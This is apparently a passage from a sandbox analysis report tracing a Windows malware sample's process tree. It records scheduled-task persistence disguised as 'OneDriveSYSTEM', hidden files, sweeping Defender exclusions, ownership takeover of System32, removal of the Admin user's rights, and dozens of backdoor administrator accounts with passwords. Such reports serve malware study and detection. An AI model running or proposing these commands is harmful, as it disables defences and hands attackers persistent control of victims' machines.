      schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$task=Get-ScheduledTask -TaskName \"OneDriveSYSTEM\" $settings=$task.Settings $settings.StartWhenAvailable=$true $settings.StopIfGoingOnBatteries=$false $settings.ExecutionTimeLimit=\"PT0S\" Set-ScheduledTask -TaskName \"OneDriveSYSTEM\" -Settings $settings"
    3⤵
    PID:6536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f"
    3⤵
    PID:860
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f"
    3⤵
    PID:6728
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6780

C:\Users\Admin\AppData\Roaming\main.exe
C:\Users\Admin\AppData\Roaming\main.exe
1⤵
- Executes dropped EXE
PID:3188
- C:\Users\Admin\AppData\Roaming\main.exe
  C:\Users\Admin\AppData\Roaming\main.exe
  2⤵
  - Disables RegEdit via registry modification
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Drops file in System32 directory
  - Sets desktop wallpaper using registry
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:3088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Roaming\main.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2516
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\Admin\AppData\Roaming\main.exe"
      4⤵
      Views/modifies file attributes
      PID:4824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f"
    3⤵
    PID:3764
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$task=Get-ScheduledTask -TaskName \"OneDriveSYSTEM\" $settings=$task.Settings $settings.StartWhenAvailable=$true $settings.StopIfGoingOnBatteries=$false $settings.ExecutionTimeLimit=\"PT0S\" Set-ScheduledTask -TaskName \"OneDriveSYSTEM\" -Settings $settings"
    3⤵
    PID:3484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f"
    3⤵
    PID:5232
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f"
    3⤵
    PID:5268
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Roaming\main.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5792
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\Admin\AppData\Roaming\main.exe"
      4⤵
      Views/modifies file attributes
      PID:3356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "antirestart" /tr "C:\Users\Admin\AppData\Roaming\MEMZ0.exe" /sc onlogon /rl HIGHEST /f"
    3⤵
    PID:5900
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "antirestart" /tr "C:\Users\Admin\AppData\Roaming\MEMZ0.exe" /sc onlogon /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Documents'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Pictures'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Videos'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T"
    3⤵
    PID:6512
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T
      4⤵
      Modifies file permissions
      PID:7032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f"
    3⤵
    PID:6976
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Admin /delete"
    3⤵
    PID:7060
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Admin /delete
      4⤵
      PID:1488
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Admin /delete
        5⤵
        
        PID:712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\Downloads" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T"
    3⤵
    PID:4492
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Downloads" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T
      4⤵
      Modifies file permissions
      PID:3948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$task=Get-ScheduledTask -TaskName \"OneDriveSYSTEM\" $settings=$task.Settings $settings.StartWhenAvailable=$true $settings.StopIfGoingOnBatteries=$false $settings.ExecutionTimeLimit=\"PT0S\" Set-ScheduledTask -TaskName \"OneDriveSYSTEM\" -Settings $settings"
    3⤵
    PID:796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\Documents" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T"
    3⤵
    PID:4420
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Documents" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T
      4⤵
      Modifies file permissions
      PID:2820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ×éÆÆ 0xTz91meiH /add"
    3⤵
    PID:4944
  - - C:\Windows\system32\net.exe
      net user ×éÆÆ 0xTz91meiH /add
      4⤵
      PID:6368
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ×éÆÆ 0xTz91meiH /add
        5⤵
        
        PID:560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Music'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T"
    3⤵
    PID:3084
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T
      4⤵
      Modifies file permissions
      PID:1120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\LocalLow'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ×éÆÆ /add"
    3⤵
    PID:4620
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ×éÆÆ /add
      4⤵
      PID:4724
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ×éÆÆ /add
        5⤵
        
        PID:2448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators "Admin" /delete"
    3⤵
    PID:2140
  - - C:\Windows\system32\net.exe
      net localgroup Administrators "Admin" /delete
      4⤵
      PID:2904
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "Admin" /delete
        5⤵
        
        PID:2868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user Ñã knCQBgkQAK /add"
    3⤵
    PID:4648
  - - C:\Windows\system32\net.exe
      net user Ñã knCQBgkQAK /add
      4⤵
      PID:1432
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Ñã knCQBgkQAK /add
        5⤵
        
        PID:664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Ñã /add"
    3⤵
    PID:3144
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Ñã /add
      4⤵
      PID:5724
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Ñã /add
        5⤵
        
        PID:5784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f"
    3⤵
    PID:6948
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ùßþôùùß PCJMpYMb67 /add"
    3⤵
    PID:6692
  - - C:\Windows\system32\net.exe
      net user ùßþôùùß PCJMpYMb67 /add
      4⤵
      PID:6312
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ùßþôùùß PCJMpYMb67 /add
        5⤵
        
        PID:7048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f"
    3⤵
    PID:6800
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6188
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ùßþôùùß /add"
    3⤵
    PID:3708
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ùßþôùùß /add
      4⤵
      PID:2508
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ùßþôùùß /add
        5⤵
        
        PID:7064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user »»»ì DaGcCQucKe /add"
    3⤵
    PID:6212
  - - C:\Windows\system32\net.exe
      net user »»»ì DaGcCQucKe /add
      4⤵
      PID:6604
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user »»»ì DaGcCQucKe /add
        5⤵
        
        PID:6552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\main.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\exclusion_folder'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators »»»ì /add"
    3⤵
    PID:6728
  - - C:\Windows\system32\net.exe
      net localgroup Administrators »»»ì /add
      4⤵
      PID:3352
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators »»»ì /add
        5⤵
        
        PID:2284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user úÿÒÎú Zz76n3mIvy /add"
    3⤵
    PID:6360
  - - C:\Windows\system32\net.exe
      net user úÿÒÎú Zz76n3mIvy /add
      4⤵
      PID:7080
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user úÿÒÎú Zz76n3mIvy /add
        5⤵
        
        PID:6224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators úÿÒÎú /add"
    3⤵
    PID:6456
  - - C:\Windows\system32\net.exe
      net localgroup Administrators úÿÒÎú /add
      4⤵
      PID:6176
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators úÿÒÎú /add
        5⤵
        
        PID:6200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user Ëê¨¨Ú¨¨ woywR1M75h /add"
    3⤵
    PID:6048
  - - C:\Windows\system32\net.exe
      net user Ëê¨¨Ú¨¨ woywR1M75h /add
      4⤵
      PID:384
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Ëê¨¨Ú¨¨ woywR1M75h /add
        5⤵
        
        PID:6384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Ëê¨¨Ú¨¨ /add"
    3⤵
    PID:6344
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Ëê¨¨Ú¨¨ /add
      4⤵
      PID:4640
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Ëê¨¨Ú¨¨ /add
        5⤵
        
        PID:4820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ·üµ·µµ¿ kbpCXlt9Xx /add"
    3⤵
    PID:6164
  - - C:\Windows\system32\net.exe
      net user ·üµ·µµ¿ kbpCXlt9Xx /add
      4⤵
      PID:2988
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ·üµ·µµ¿ kbpCXlt9Xx /add
        5⤵
        
        PID:1712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ·üµ·µµ¿ /add"
    3⤵
    PID:1556
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ·üµ·µµ¿ /add
      4⤵
      PID:6292
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ·üµ·µµ¿ /add
        5⤵
        
        PID:4024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user Óú 3kf6hca6zJ /add"
    3⤵
    PID:1440
  - - C:\Windows\system32\net.exe
      net user Óú 3kf6hca6zJ /add
      4⤵
      PID:1624
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Óú 3kf6hca6zJ /add
        5⤵
        
        PID:4636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Óú /add"
    3⤵
    PID:3712
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Óú /add
      4⤵
      PID:2448
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Óú /add
        5⤵
        
        PID:2888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user «Þ«ÿ«Þÿ 0qDN6G7YoT /add"
    3⤵
    PID:2312
  - - C:\Windows\system32\net.exe
      net user «Þ«ÿ«Þÿ 0qDN6G7YoT /add
      4⤵
      PID:4036
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user «Þ«ÿ«Þÿ 0qDN6G7YoT /add
        5⤵
        
        PID:2248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators «Þ«ÿ«Þÿ /add"
    3⤵
    PID:1412
  - - C:\Windows\system32\net.exe
      net localgroup Administrators «Þ«ÿ«Þÿ /add
      4⤵
      PID:4580
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators «Þ«ÿ«Þÿ /add
        5⤵
        
        PID:3684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÀÜàÜÀúú v7vKak3z0L /add"
    3⤵
    PID:4752
  - - C:\Windows\system32\net.exe
      net user ÀÜàÜÀúú v7vKak3z0L /add
      4⤵
      PID:4432
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÀÜàÜÀúú v7vKak3z0L /add
        5⤵
        
        PID:1868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÀÜàÜÀúú /add"
    3⤵
    PID:2952
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÀÜàÜÀúú /add
      4⤵
      PID:3236
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÀÜàÜÀúú /add
        5⤵
        
        PID:2928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÇÛÇ¦··¦ 3tVpkbmPLx /add"
    3⤵
    PID:1048
  - - C:\Windows\system32\net.exe
      net user ÇÛÇ¦··¦ 3tVpkbmPLx /add
      4⤵
      PID:1980
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÇÛÇ¦··¦ 3tVpkbmPLx /add
        5⤵
        
        PID:1784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÇÛÇ¦··¦ /add"
    3⤵
    PID:2072
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÇÛÇ¦··¦ /add
      4⤵
      PID:2184
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÇÛÇ¦··¦ /add
        5⤵
        
        PID:3700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÁÈÁÈÁÁ oJuAk8LG3u /add"
    3⤵
    PID:1548
  - - C:\Windows\system32\net.exe
      net user ÁÈÁÈÁÁ oJuAk8LG3u /add
      4⤵
      PID:4824
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÁÈÁÈÁÁ oJuAk8LG3u /add
        5⤵
        
        PID:5140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÁÈÁÈÁÁ /add"
    3⤵
    PID:5176
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÁÈÁÈÁÁ /add
      4⤵
      PID:4696
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÁÈÁÈÁÁ /add
        5⤵
        
        PID:1232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user Ëµµá dVpguf8EcR /add"
    3⤵
    PID:3580
  - - C:\Windows\system32\net.exe
      net user Ëµµá dVpguf8EcR /add
      4⤵
      PID:3600
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Ëµµá dVpguf8EcR /add
        5⤵
        
        PID:3044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Ëµµá /add"
    3⤵
    PID:3124
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Ëµµá /add
      4⤵
      PID:5220
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Ëµµá /add
        5⤵
        
        PID:4816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ËÆËÊ nLHWTlLr4t /add"
    3⤵
    PID:248
  - - C:\Windows\system32\net.exe
      net user ËÆËÊ nLHWTlLr4t /add
      4⤵
      PID:1908
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ËÆËÊ nLHWTlLr4t /add
        5⤵
        
        PID:4468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ËÆËÊ /add"
    3⤵
    PID:1252
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ËÆËÊ /add
      4⤵
      PID:2772
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ËÆËÊ /add
        5⤵
        
        PID:348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¯àûÑà¯à GhshxXPP8Z /add"
    3⤵
    PID:1828
  - - C:\Windows\system32\net.exe
      net user ¯àûÑà¯à GhshxXPP8Z /add
      4⤵
      PID:4416
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¯àûÑà¯à GhshxXPP8Z /add
        5⤵
        
        PID:4068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¯àûÑà¯à /add"
    3⤵
    PID:796
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¯àûÑà¯à /add
      4⤵
      PID:5100
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¯àûÑà¯à /add
        5⤵
        
        PID:2836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user «¼¹¼¼¹ RRCTdGrviP /add"
    3⤵
    PID:3148
  - - C:\Windows\system32\net.exe
      net user «¼¹¼¼¹ RRCTdGrviP /add
      4⤵
      PID:5632
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user «¼¹¼¼¹ RRCTdGrviP /add
        5⤵
        
        PID:4264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators «¼¹¼¼¹ /add"
    3⤵
    PID:3900
  - - C:\Windows\system32\net.exe
      net localgroup Administrators «¼¹¼¼¹ /add
      4⤵
      PID:1300
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators «¼¹¼¼¹ /add
        5⤵
        
        PID:5676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¿ÑòÑêÓ¿ DTJdquHhUW /add"
    3⤵
    PID:2172
  - - C:\Windows\system32\net.exe
      net user ¿ÑòÑêÓ¿ DTJdquHhUW /add
      4⤵
      PID:5540
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¿ÑòÑêÓ¿ DTJdquHhUW /add
        5⤵
        
        PID:5884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¿ÑòÑêÓ¿ /add"
    3⤵
    PID:5784
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¿ÑòÑêÓ¿ /add
      4⤵
      PID:5532
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¿ÑòÑêÓ¿ /add
        5⤵
        
        PID:6104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ðÚÚÍÙ UI8zwi3M2z /add"
    3⤵
    PID:640
  - - C:\Windows\system32\net.exe
      net user ðÚÚÍÙ UI8zwi3M2z /add
      4⤵
      PID:5628
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ðÚÚÍÙ UI8zwi3M2z /add
        5⤵
        
        PID:6756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ðÚÚÍÙ /add"
    3⤵
    PID:428
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ðÚÚÍÙ /add
      4⤵
      PID:2580
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ðÚÚÍÙ /add
        5⤵
        
        PID:3656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ïô¡ááªÀ 7rjEZmVwRa /add"
    3⤵
    PID:1912
  - - C:\Windows\system32\net.exe
      net user ïô¡ááªÀ 7rjEZmVwRa /add
      4⤵
      PID:7052
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ïô¡ááªÀ 7rjEZmVwRa /add
        5⤵
        
        PID:4436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ïô¡ááªÀ /add"
    3⤵
    PID:6892
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ïô¡ááªÀ /add
      4⤵
      PID:860
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ïô¡ááªÀ /add
        5⤵
        
        PID:6856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ³³³³¢¢Ë mZZiNegG1S /add"
    3⤵
    PID:5952
  - - C:\Windows\system32\net.exe
      net user ³³³³¢¢Ë mZZiNegG1S /add
      4⤵
      PID:6072
    - - C:\Windows\system32\net1.exe
        
